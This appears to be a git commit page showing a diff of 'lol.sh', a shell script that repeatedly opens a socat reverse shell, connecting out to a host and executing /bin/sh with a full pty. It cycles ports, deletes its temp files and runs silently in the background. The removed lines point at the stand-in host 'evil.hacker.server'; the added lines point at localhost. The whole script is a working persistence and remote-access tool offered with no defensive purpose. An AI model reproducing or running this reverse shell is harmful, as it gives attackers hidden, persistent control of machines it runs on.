Update 'lol.sh'

figure out how to the most basic shit in the shell that i literally use all day every day
This commit is contained in:
kayos 2020-10-18 23:50:38 +00:00
parent 29f926a68c
commit 8011ab84b2

53
lol.sh
View File

@ -5,39 +5,46 @@
# +HACKS YOUR EXES FACEBOOK #
# +MAKES YOU THE LEADER OF ANONYMOUS #
#\--------------------------------------/#
# Config ####
STARTPORT=105
ENDPORT=115
## Config ###
STARTPORT=3336
ENDPORT=3338
TIMEOUT=90
HOST=evil.hacker.server
HOST='localhost'
SOCAT=/usr/bin/socat
#############
# initialize variable before we enter the while loop
PORT=$STARTPORT
while true;
PORT=0
while true;
do
# ----> remove any old left over files
find /tmp/ -iname "*.prt" -exec rm {} \;
find /tmp/ -iname "*.prt" -exec rm {} \;
# ----> cycle destination ports when socat times out or you mash CTRL+C
if [[ $PORT == 0 ]]
then
PORT=$STARTPORT
elif [[ $PORT < $((ENDPORT+1)) ]]
then
PORT=$((PORT+1))
fi
# ---> ratchet destination ports when socat times out, reset once it counts to $ENDPORT
if [[ $PORT != $MAXPORT ]]
then
PORT=$((PORT+1))
else
PORT=$STARTPORT
fi
# ----> provide a very crude indicator of what port we are currently using
touch /tmp/a${PORT}.prt
sleep 8
# ----> socat: ~0 protocol overhead, potential to provide fully interactive pty
# -------> and for *nix compatibility, particularly in IoT
# -------> future plans for this script involve more socat magic
/tmp/socat -T ${TIMEOUT} tcp-connect:${HOST}:${PORT} \ # why socat? binaries for everything, 0 overhead
exec:/bin/sh,pty,stderr,setsid,sigint,sane; # easier to acquire a pty (if env allows) vs nc
sleep 3
# ----> socat? cross-compatible, easy pty, no overhead, we'll use it for more in the future
$SOCAT -T ${TIMEOUT} tcp-connect:${HOST}:${PORT} exec:/bin/sh,pty,stderr,setsid,sigint,sane;
# ----> if we hit the end, reset the count
if [[ $(($PORT+1)) > $ENDPORT ]];
then
PORT=0
fi
# suppress all console output and run in the background
done &>/dev/null&
done &>/dev/null&